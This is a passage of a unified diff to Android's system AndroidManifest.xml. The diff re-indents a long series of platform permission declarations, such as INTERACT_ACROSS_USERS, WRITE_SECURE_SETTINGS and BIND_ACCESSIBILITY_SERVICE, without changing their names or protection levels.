<permission android:name="android.permission.START_TASKS_FROM_RECENTS"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi @hide Allows an application to call APIs that allow it to do interactions
across the users on the device, using singleton services and
user-targeted broadcasts. This permission is not available to
third party applications. -->
<permission android:name="android.permission.INTERACT_ACROSS_USERS"
- android:protectionLevel="signature|privileged|development" />
+ android:protectionLevel="signature|privileged|development" />
<!-- @SystemApi Fuller form of {@link android.Manifest.permission#INTERACT_ACROSS_USERS}
that removes restrictions on where broadcasts can be sent and allows other
types of interactions
@hide -->
<permission android:name="android.permission.INTERACT_ACROSS_USERS_FULL"
- android:protectionLevel="signature|installer" />
+ android:protectionLevel="signature|installer" />
<!-- @SystemApi @hide Allows an application to call APIs that allow it to query and manage
users on the device. This permission is not available to
third party applications. -->
<permission android:name="android.permission.MANAGE_USERS"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @hide Allows an application to create, remove users and get the list of
users on the device. Applications holding this permission can only create restricted,
@@ -1779,69 +1779,69 @@
{@link android.Manifest.permission#MANAGE_USERS} is needed.
This permission is not available to third party applications. -->
<permission android:name="android.permission.CREATE_USERS"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @hide Allows an application to set the profile owners and the device owner.
This permission is not available to third party applications.-->
<permission android:name="android.permission.MANAGE_PROFILE_AND_DEVICE_OWNERS"
- android:protectionLevel="signature"
- android:label="@string/permlab_manageProfileAndDeviceOwners"
- android:description="@string/permdesc_manageProfileAndDeviceOwners" />
+ android:protectionLevel="signature"
+ android:label="@string/permlab_manageProfileAndDeviceOwners"
+ android:description="@string/permdesc_manageProfileAndDeviceOwners" />
<!-- Allows an application to get full detailed information about
recently running tasks, with full fidelity to the real state.
@hide -->
<permission android:name="android.permission.GET_DETAILED_TASKS"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows an application to change the Z-order of tasks.
<p>Protection level: normal
-->
<permission android:name="android.permission.REORDER_TASKS"
- android:label="@string/permlab_reorderTasks"
- android:description="@string/permdesc_reorderTasks"
- android:protectionLevel="normal" />
+ android:label="@string/permlab_reorderTasks"
+ android:description="@string/permdesc_reorderTasks"
+ android:protectionLevel="normal" />
<!-- @hide Allows an application to change to remove/kill tasks -->
<permission android:name="android.permission.REMOVE_TASKS"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi @hide Allows an application to create/manage/remove stacks -->
<permission android:name="android.permission.MANAGE_ACTIVITY_STACKS"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows an application to start any activity, regardless of permission
protection or exported state.
@hide -->
<permission android:name="android.permission.START_ANY_ACTIVITY"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @deprecated The {@link android.app.ActivityManager#restartPackage}
API is no longer supported. -->
<permission android:name="android.permission.RESTART_PACKAGES"
- android:label="@string/permlab_killBackgroundProcesses"
- android:description="@string/permdesc_killBackgroundProcesses"
- android:protectionLevel="normal" />
+ android:label="@string/permlab_killBackgroundProcesses"
+ android:description="@string/permdesc_killBackgroundProcesses"
+ android:protectionLevel="normal" />
<!-- Allows an application to call
{@link android.app.ActivityManager#killBackgroundProcesses}.
<p>Protection level: normal
-->
<permission android:name="android.permission.KILL_BACKGROUND_PROCESSES"
- android:label="@string/permlab_killBackgroundProcesses"
- android:description="@string/permdesc_killBackgroundProcesses"
- android:protectionLevel="normal" />
+ android:label="@string/permlab_killBackgroundProcesses"
+ android:description="@string/permdesc_killBackgroundProcesses"
+ android:protectionLevel="normal" />
<!-- @SystemApi @hide Allows an application to query process states and current
OOM adjustment scores.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.GET_PROCESS_STATE_AND_OOM_SCORE"
- android:protectionLevel="signature|privileged|development" />
+ android:protectionLevel="signature|privileged|development" />
<!-- Allows use of PendingIntent.getIntent().
@hide -->
<permission android:name="android.permission.GET_INTENT_SENDER_INTENT"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- ================================== -->
<!-- Permissions affecting the display of other applications -->
@@ -1864,26 +1864,26 @@
Settings.canDrawOverlays()}.
<p>Protection level: signature -->
<permission android:name="android.permission.SYSTEM_ALERT_WINDOW"
- android:label="@string/permlab_systemAlertWindow"
- android:description="@string/permdesc_systemAlertWindow"
- android:protectionLevel="signature|preinstalled|appop|pre23|development" />
+ android:label="@string/permlab_systemAlertWindow"
+ android:description="@string/permdesc_systemAlertWindow"
+ android:protectionLevel="signature|preinstalled|appop|pre23|development" />
<!-- @deprecated Use {@link android.Manifest.permission#REQUEST_COMPANION_RUN_IN_BACKGROUND}
@hide
-->
<permission android:name="android.permission.RUN_IN_BACKGROUND"
- android:label="@string/permlab_runInBackground"
- android:description="@string/permdesc_runInBackground"
- android:protectionLevel="signature" />
+ android:label="@string/permlab_runInBackground"
+ android:description="@string/permdesc_runInBackground"
+ android:protectionLevel="signature" />
<!-- @deprecated Use
{@link android.Manifest.permission#REQUEST_COMPANION_USE_DATA_IN_BACKGROUND}
@hide
-->
<permission android:name="android.permission.USE_DATA_IN_BACKGROUND"
- android:label="@string/permlab_useDataInBackground"
- android:description="@string/permdesc_useDataInBackground"
- android:protectionLevel="signature" />
+ android:label="@string/permlab_useDataInBackground"
+ android:description="@string/permdesc_useDataInBackground"
+ android:protectionLevel="signature" />
<!-- Allows a companion app to run in the background.
<p>Protection level: normal
@@ -1911,17 +1911,17 @@
<p>Protection level: normal
-->
<permission android:name="android.permission.SET_WALLPAPER"
- android:label="@string/permlab_setWallpaper"
- android:description="@string/permdesc_setWallpaper"
- android:protectionLevel="normal" />
+ android:label="@string/permlab_setWallpaper"
+ android:description="@string/permdesc_setWallpaper"
+ android:protectionLevel="normal" />
<!-- Allows applications to set the wallpaper hints.
<p>Protection level: normal
-->
<permission android:name="android.permission.SET_WALLPAPER_HINTS"
- android:label="@string/permlab_setWallpaperHints"
- android:description="@string/permdesc_setWallpaperHints"
- android:protectionLevel="normal" />
+ android:label="@string/permlab_setWallpaperHints"
+ android:description="@string/permdesc_setWallpaperHints"
+ android:protectionLevel="normal" />
<!-- ============================================ -->
<!-- Permissions for changing the system clock -->
@@ -1931,15 +1931,15 @@
<!-- @SystemApi Allows applications to set the system time.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.SET_TIME"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows applications to set the system time zone.
<p>Not for use by third-party applications.
-->
<permission android:name="android.permission.SET_TIME_ZONE"
- android:label="@string/permlab_setTimeZone"
- android:description="@string/permdesc_setTimeZone"
- android:protectionLevel="signature|privileged" />
+ android:label="@string/permlab_setTimeZone"
+ android:description="@string/permdesc_setTimeZone"
+ android:protectionLevel="signature|privileged" />
<!-- ==================================================== -->
<!-- Permissions related to changing status bar -->
@@ -1950,9 +1950,9 @@
<p>Protection level: normal
-->
<permission android:name="android.permission.EXPAND_STATUS_BAR"
- android:label="@string/permlab_expandStatusBar"
- android:description="@string/permdesc_expandStatusBar"
- android:protectionLevel="normal" />
+ android:label="@string/permlab_expandStatusBar"
+ android:description="@string/permdesc_expandStatusBar"
+ android:protectionLevel="normal" />
<!-- ============================================================== -->
<!-- Permissions related to adding/removing shortcuts from Launcher -->
@@ -1963,16 +1963,16 @@
<p>Protection level: normal
-->
<permission android:name="com.android.launcher.permission.INSTALL_SHORTCUT"
- android:label="@string/permlab_install_shortcut"
- android:description="@string/permdesc_install_shortcut"
- android:protectionLevel="normal"/>
+ android:label="@string/permlab_install_shortcut"
+ android:description="@string/permdesc_install_shortcut"
+ android:protectionLevel="normal"/>
<!--This permission is no longer supported.
-->
<permission android:name="com.android.launcher.permission.UNINSTALL_SHORTCUT"
- android:label="@string/permlab_uninstall_shortcut"
- android:description="@string/permdesc_uninstall_shortcut"
- android:protectionLevel="normal"/>
+ android:label="@string/permlab_uninstall_shortcut"
+ android:description="@string/permdesc_uninstall_shortcut"
+ android:protectionLevel="normal"/>
<!-- ==================================================== -->
<!-- Permissions related to accessing sync settings -->
@@ -1983,25 +1983,25 @@
<p>Protection level: normal
-->
<permission android:name="android.permission.READ_SYNC_SETTINGS"
- android:description="@string/permdesc_readSyncSettings"
- android:label="@string/permlab_readSyncSettings"
- android:protectionLevel="normal" />
+ android:description="@string/permdesc_readSyncSettings"
+ android:label="@string/permlab_readSyncSettings"
+ android:protectionLevel="normal" />
<!-- Allows applications to write the sync settings.
<p>Protection level: normal
-->
<permission android:name="android.permission.WRITE_SYNC_SETTINGS"
- android:description="@string/permdesc_writeSyncSettings"
- android:label="@string/permlab_writeSyncSettings"
- android:protectionLevel="normal" />
+ android:description="@string/permdesc_writeSyncSettings"
+ android:label="@string/permlab_writeSyncSettings"
+ android:protectionLevel="normal" />
<!-- Allows applications to read the sync stats.
<p>Protection level: normal
-->
<permission android:name="android.permission.READ_SYNC_STATS"
- android:description="@string/permdesc_readSyncStats"
- android:label="@string/permlab_readSyncStats"
- android:protectionLevel="normal" />
+ android:description="@string/permdesc_readSyncStats"
+ android:label="@string/permlab_readSyncStats"
+ android:protectionLevel="normal" />
<!-- ============================================ -->
<!-- Permissions for low-level system interaction -->
@@ -2010,12 +2010,12 @@
<!-- @SystemApi @hide Change the screen compatibility mode of applications -->
<permission android:name="android.permission.SET_SCREEN_COMPATIBILITY"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Allows an application to modify the current configuration, such
as locale. -->
<permission android:name="android.permission.CHANGE_CONFIGURATION"
- android:protectionLevel="signature|privileged|development" />
+ android:protectionLevel="signature|privileged|development" />
<!-- Allows an application to read or write the system settings.
@@ -2030,51 +2030,51 @@
<p>Protection level: signature
-->
<permission android:name="android.permission.WRITE_SETTINGS"
- android:label="@string/permlab_writeSettings"
- android:description="@string/permdesc_writeSettings"
- android:protectionLevel="signature|preinstalled|appop|pre23" />
+ android:label="@string/permlab_writeSettings"
+ android:description="@string/permdesc_writeSettings"
+ android:protectionLevel="signature|preinstalled|appop|pre23" />
<!-- @SystemApi Allows an application to modify the Google service map.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.WRITE_GSERVICES"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to call
{@link android.app.ActivityManager#forceStopPackage}.
@hide -->
<permission android:name="android.permission.FORCE_STOP_PACKAGES"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi @hide Allows an application to retrieve the content of the active window
An active window is the window that has fired an accessibility event. -->
<permission android:name="android.permission.RETRIEVE_WINDOW_CONTENT"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Modify the global animation scaling factor.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.SET_ANIMATION_SCALE"
- android:protectionLevel="signature|privileged|development" />
+ android:protectionLevel="signature|privileged|development" />
<!-- @deprecated This functionality will be removed in the future; please do
not use. Allow an application to make its activities persistent. -->
<permission android:name="android.permission.PERSISTENT_ACTIVITY"
- android:label="@string/permlab_persistentActivity"
- android:description="@string/permdesc_persistentActivity"
- android:protectionLevel="normal" />
+ android:label="@string/permlab_persistentActivity"
+ android:description="@string/permdesc_persistentActivity"
+ android:protectionLevel="normal" />
<!-- Allows an application to find out the space used by any package.
<p>Protection level: normal
-->
<permission android:name="android.permission.GET_PACKAGE_SIZE"
- android:label="@string/permlab_getPackageSize"
- android:description="@string/permdesc_getPackageSize"
- android:protectionLevel="normal" />
+ android:label="@string/permlab_getPackageSize"
+ android:description="@string/permdesc_getPackageSize"
+ android:protectionLevel="normal" />
<!-- @deprecated No longer useful, see
{@link android.content.pm.PackageManager#addPackageToPreferred}
for details. -->
<permission android:name="android.permission.SET_PREFERRED_APPLICATIONS"
- android:protectionLevel="signature|verifier" />
+ android:protectionLevel="signature|verifier" />
<!-- Allows an application to receive the
{@link android.content.Intent#ACTION_BOOT_COMPLETED} that is
@@ -2090,9 +2090,9 @@
<p>Protection level: normal
-->
<permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"
- android:label="@string/permlab_receiveBootCompleted"
- android:description="@string/permdesc_receiveBootCompleted"
- android:protectionLevel="normal" />
+ android:label="@string/permlab_receiveBootCompleted"
+ android:description="@string/permdesc_receiveBootCompleted"
+ android:protectionLevel="normal" />
<!-- Allows an application to broadcast sticky intents. These are
broadcasts whose data is held by the system after being finished,
@@ -2101,90 +2101,90 @@
<p>Protection level: normal
-->
<permission android:name="android.permission.BROADCAST_STICKY"
- android:label="@string/permlab_broadcastSticky"
- android:description="@string/permdesc_broadcastSticky"
- android:protectionLevel="normal" />
+ android:label="@string/permlab_broadcastSticky"
+ android:description="@string/permdesc_broadcastSticky"
+ android:protectionLevel="normal" />
<!-- @SystemApi Allows mounting and unmounting file systems for removable storage.
<p>Not for use by third-party applications.-->
<permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows formatting file systems for removable storage.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.MOUNT_FORMAT_FILESYSTEMS"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @hide -->
<permission android:name="android.permission.STORAGE_INTERNAL"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows access to ASEC non-destructive API calls
@hide -->
<permission android:name="android.permission.ASEC_ACCESS"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows creation of ASEC volumes
@hide -->
<permission android:name="android.permission.ASEC_CREATE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows destruction of ASEC volumes
@hide -->
<permission android:name="android.permission.ASEC_DESTROY"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows mount / unmount of ASEC volumes
@hide -->
<permission android:name="android.permission.ASEC_MOUNT_UNMOUNT"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows rename of ASEC volumes
@hide -->
<permission android:name="android.permission.ASEC_RENAME"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Allows applications to write the apn settings.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.WRITE_APN_SETTINGS"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows applications to change network connectivity state.
<p>Protection level: normal
-->
<permission android:name="android.permission.CHANGE_NETWORK_STATE"
- android:description="@string/permdesc_changeNetworkState"
- android:label="@string/permlab_changeNetworkState"
- android:protectionLevel="normal" />
+ android:description="@string/permdesc_changeNetworkState"
+ android:label="@string/permlab_changeNetworkState"
+ android:protectionLevel="normal" />
<!-- Allows an application to clear the caches of all installed
applications on the device.
<p>Protection level: system|signature
-->
<permission android:name="android.permission.CLEAR_APP_CACHE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to use any media decoder when decoding for playback
@hide -->
<permission android:name="android.permission.ALLOW_ANY_CODEC_FOR_PLAYBACK"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to install and/or uninstall CA certificates on
behalf of the user.
@hide -->
<permission android:name="android.permission.MANAGE_CA_CERTIFICATES"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to do certain operations needed for
interacting with the recovery (system update) system.
@hide -->
<permission android:name="android.permission.RECOVERY"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows the system to bind to an application's task services
@hide -->
<permission android:name="android.permission.BIND_JOB_SERVICE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<uses-permission android:name="android.permission.BIND_JOB_SERVICE"/>
<!-- Allows an application to initiate configuration updates
@@ -2193,24 +2193,24 @@
it off to the various individual installer components
@hide -->
<permission android:name="android.permission.UPDATE_CONFIG"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows the system to reset throttling in shortcut manager.
@hide -->
<permission android:name="android.permission.RESET_SHORTCUT_MANAGER_THROTTLING"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows the system to bind to the discovered Network Recommendation Service.
@SystemApi @hide -->
<permission android:name="android.permission.BIND_NETWORK_RECOMMENDATION_SERVICE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<uses-permission android:name="android.permission.BIND_NETWORK_RECOMMENDATION_SERVICE"/>
<!-- Allows an application to enable, disable and change priority of
runtime resource overlays.
@hide -->
<permission android:name="android.permission.CHANGE_OVERLAY_PACKAGES"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- ========================================= -->
<!-- Permissions for special development tools -->
@@ -2220,40 +2220,40 @@
<!-- @SystemApi Allows an application to read or write the secure system settings.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.WRITE_SECURE_SETTINGS"
- android:protectionLevel="signature|privileged|development" />
+ android:protectionLevel="signature|privileged|development" />
<!-- @SystemApi Allows an application to retrieve state dump information from system services.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.DUMP"
- android:protectionLevel="signature|privileged|development" />
+ android:protectionLevel="signature|privileged|development" />
<!-- @SystemApi Allows an application to read the low-level system log files.
<p>Not for use by third-party applications, because
Log entries can contain the user's private information. -->
<permission android:name="android.permission.READ_LOGS"
- android:protectionLevel="signature|privileged|development" />
+ android:protectionLevel="signature|privileged|development" />
<!-- @SystemApi Configure an application for debugging.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.SET_DEBUG_APP"
- android:protectionLevel="signature|privileged|development" />
+ android:protectionLevel="signature|privileged|development" />
<!-- @SystemApi Allows an application to set the maximum number of (not needed)
application processes that can be running.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.SET_PROCESS_LIMIT"
- android:protectionLevel="signature|privileged|development" />
+ android:protectionLevel="signature|privileged|development" />
<!-- @SystemApi Allows an application to control whether activities are immediately
finished when put in the background.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.SET_ALWAYS_FINISH"
- android:protectionLevel="signature|privileged|development" />
+ android:protectionLevel="signature|privileged|development" />
<!-- @SystemApi Allow an application to request that a signal be sent to all persistent processes.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.SIGNAL_PERSISTENT_PROCESSES"
- android:protectionLevel="signature|privileged|development" />
+ android:protectionLevel="signature|privileged|development" />
<!-- ==================================== -->
<!-- Private permissions -->
@@ -2262,34 +2262,34 @@
<!-- @SystemApi Allows access to the list of accounts in the Accounts Service. -->
<permission android:name="android.permission.GET_ACCOUNTS_PRIVILEGED"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows but does not guarantee access to user passwords at the conclusion of add account
@hide -->
<permission android:name="android.permission.GET_PASSWORD"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Allows applications to RW to diagnostic resources.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.DIAGNOSTIC"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Allows an application to open, close, or disable the status bar
and its icons.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.STATUS_BAR"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Allows an application to be the status bar. Currently used only by SystemUI.apk
@hide -->
<permission android:name="android.permission.STATUS_BAR_SERVICE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows an application to bind to third party quick settings tiles.
<p>Should only be requested by the System, should be required by
TileService declarations.-->
<permission android:name="android.permission.BIND_QUICK_SETTINGS_TILE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Allows an application to force a BACK operation on whatever is the
top activity.
@@ -2297,28 +2297,28 @@
@hide
-->
<permission android:name="android.permission.FORCE_BACK"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Allows an application to update device statistics.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.UPDATE_DEVICE_STATS"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi @hide Allows an application to collect battery statistics -->
<permission android:name="android.permission.GET_APP_OPS_STATS"
- android:protectionLevel="signature|privileged|development" />
+ android:protectionLevel="signature|privileged|development" />
<!-- @SystemApi Allows an application to update application operation statistics. Not for
use by third party apps.
@hide -->
<permission android:name="android.permission.UPDATE_APP_OPS_STATS"
- android:protectionLevel="signature|privileged|installer" />
+ android:protectionLevel="signature|privileged|installer" />
<!-- @SystemApi Allows an application to update the user app op restrictions.
Not for use by third party apps.
@hide -->
<permission android:name="android.permission.MANAGE_APP_OPS_RESTRICTIONS"
- android:protectionLevel="signature|installer" />
+ android:protectionLevel="signature|installer" />
<!-- @SystemApi Allows an application to open windows that are for use by parts
of the system user interface.
@@ -2326,7 +2326,7 @@
@hide
-->
<permission android:name="android.permission.INTERNAL_SYSTEM_WINDOW"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Allows an application to manage (create, destroy,
Z-order) application tokens in the window manager.
@@ -2334,17 +2334,17 @@
@hide
-->
<permission android:name="android.permission.MANAGE_APP_TOKENS"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows System UI to register listeners for events from Window Manager.
@hide -->
<permission android:name="android.permission.REGISTER_WINDOW_MANAGER_LISTENERS"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @hide Allows the application to temporarily freeze the screen for a
full-screen transition. -->
<permission android:name="android.permission.FREEZE_SCREEN"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Allows an application to inject user events (keys, touch, trackball)
into the event stream and deliver them to ANY window. Without this
@@ -2353,16 +2353,16 @@
@hide
-->
<permission android:name="android.permission.INJECT_EVENTS"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @hide Allows an application to register an input filter which filters the stream
of user events (keys, touch, trackball) before they are dispatched to any window. -->
<permission android:name="android.permission.FILTER_EVENTS"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @hide Allows an application to retrieve the window token from the accessibility manager. -->
<permission android:name="android.permission.RETRIEVE_WINDOW_TOKEN"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @hide Allows an application to modify accessibility information from another app. -->
<permission android:name="android.permission.MODIFY_ACCESSIBILITY_DATA"
@@ -2374,11 +2374,11 @@
<!-- @hide Allows an application to collect frame statistics -->
<permission android:name="android.permission.FRAME_STATS"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @hide Allows an application to temporary enable accessibility on the device. -->
<permission android:name="android.permission.TEMPORARY_ENABLE_ACCESSIBILITY"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Allows an application to watch and control how activities are
started globally in the system. Only for is in debugging
@@ -2387,13 +2387,13 @@
@hide
-->
<permission android:name="android.permission.SET_ACTIVITY_WATCHER"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Allows an application to call the activity manager shutdown() API
to put the higher-level system there into a shutdown state.
@hide -->
<permission android:name="android.permission.SHUTDOWN"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to tell the activity manager to temporarily
stop application switches, putting it into a special mode that
@@ -2401,7 +2401,7 @@
critical UI such as the home screen.
@hide -->
<permission android:name="android.permission.STOP_APP_SWITCHES"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to retrieve private information about
the current top activity, such as any assist context it can provide.
@@ -2409,42 +2409,42 @@
@hide
-->
<permission android:name="android.permission.GET_TOP_ACTIVITY_INFO"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows an application to retrieve the current state of keys and
switches.
<p>Not for use by third-party applications.
@deprecated The API that used this permission has been removed. -->
<permission android:name="android.permission.READ_INPUT_STATE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Must be required by an {@link android.inputmethodservice.InputMethodService},
to ensure that only the system can bind to it.
<p>Protection level: signature
-->
<permission android:name="android.permission.BIND_INPUT_METHOD"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Must be required by an {@link android.media.midi.MidiDeviceService},
to ensure that only the system can bind to it.
<p>Protection level: signature
-->
<permission android:name="android.permission.BIND_MIDI_DEVICE_SERVICE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Must be required by an {@link android.accessibilityservice.AccessibilityService},
to ensure that only the system can bind to it.
<p>Protection level: signature
-->
<permission android:name="android.permission.BIND_ACCESSIBILITY_SERVICE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Must be required by a {@link android.printservice.PrintService},
to ensure that only the system can bind to it.
<p>Protection level: signature
-->
<permission android:name="android.permission.BIND_PRINT_SERVICE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Must be required by a {@link android.printservice.recommendation.RecommendationService},
to ensure that only the system can bind to it.
@@ -2453,7 +2453,7 @@
<p>Protection level: signature
-->
<permission android:name="android.permission.BIND_PRINT_RECOMMENDATION_SERVICE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Must be required by a {@link android.nfc.cardemulation.HostApduService}
or {@link android.nfc.cardemulation.OffHostApduService} to ensure that only
@@ -2461,81 +2461,81 @@
<p>Protection level: signature
-->
<permission android:name="android.permission.BIND_NFC_SERVICE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Must be required by the PrintSpooler to ensure that only the system can bind to it.
@hide -->
<permission android:name="android.permission.BIND_PRINT_SPOOLER_SERVICE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Must be required by the CompanionDeviceManager to ensure that only the system can bind to it.
@hide -->
<permission android:name="android.permission.BIND_COMPANION_DEVICE_MANAGER_SERVICE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Must be required by the RuntimePermissionPresenterService to ensure
that only the system can bind to it.
@hide -->
<permission android:name="android.permission.BIND_RUNTIME_PERMISSION_PRESENTER_SERVICE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Must be required by a TextService (e.g. SpellCheckerService)
to ensure that only the system can bind to it.
<p>Protection level: signature
-->
<permission android:name="android.permission.BIND_TEXT_SERVICE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Must be required by a {@link android.net.VpnService},
to ensure that only the system can bind to it.
<p>Protection level: signature
-->
<permission android:name="android.permission.BIND_VPN_SERVICE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Must be required by a {@link android.service.wallpaper.WallpaperService},
to ensure that only the system can bind to it.
<p>Protection level: system|signature
-->
<permission android:name="android.permission.BIND_WALLPAPER"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Must be required by a {@link android.service.voice.VoiceInteractionService},
to ensure that only the system can bind to it.
<p>Protection level: signature
-->
<permission android:name="android.permission.BIND_VOICE_INTERACTION"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Must be required by a {@link android.service.autofill.AutofillService},
to ensure that only the system can bind to it.
<p>Protection level: signature
-->
<permission android:name="android.permission.BIND_AUTOFILL_SERVICE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @hide TODO(b/37563972): remove once clients use BIND_AUTOFILL_SERVICE -->
<permission android:name="android.permission.BIND_AUTOFILL"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Must be required by hotword enrollment application,
to ensure that only the system can interact with it.
@hide <p>Not for use by third-party applications.</p> -->
<permission android:name="android.permission.MANAGE_VOICE_KEYPHRASES"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Must be required by a {@link com.android.media.remotedisplay.RemoteDisplayProvider},
to ensure that only the system can bind to it.
@hide -->
<permission android:name="android.permission.BIND_REMOTE_DISPLAY"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Must be required by a {@link android.media.tv.TvInputService}
to ensure that only the system can bind to it.
<p>Protection level: signature
-->
<permission android:name="android.permission.BIND_TV_INPUT"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi
Must be required by a {@link com.android.media.tv.remoteprovider.TvRemoteProvider}
@@ -2544,7 +2544,7 @@
<p>Not for use by third-party applications. </p>
@hide -->
<permission android:name="android.permission.BIND_TV_REMOTE_SERVICE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi
Must be required for a virtual remote controller for TV.
@@ -2552,39 +2552,39 @@
<p>Not for use by third-party applications. </p>
@hide -->
<permission android:name="android.permission.TV_VIRTUAL_REMOTE_CONTROLLER"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to modify parental controls
<p>Not for use by third-party applications.
@hide -->
<permission android:name="android.permission.MODIFY_PARENTAL_CONTROLS"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to notify TV inputs by sending broadcasts.
<p>Protection level: signature|privileged
<p>Not for use by third-party applications.
@hide -->
<permission android:name="android.permission.NOTIFY_TV_INPUTS"
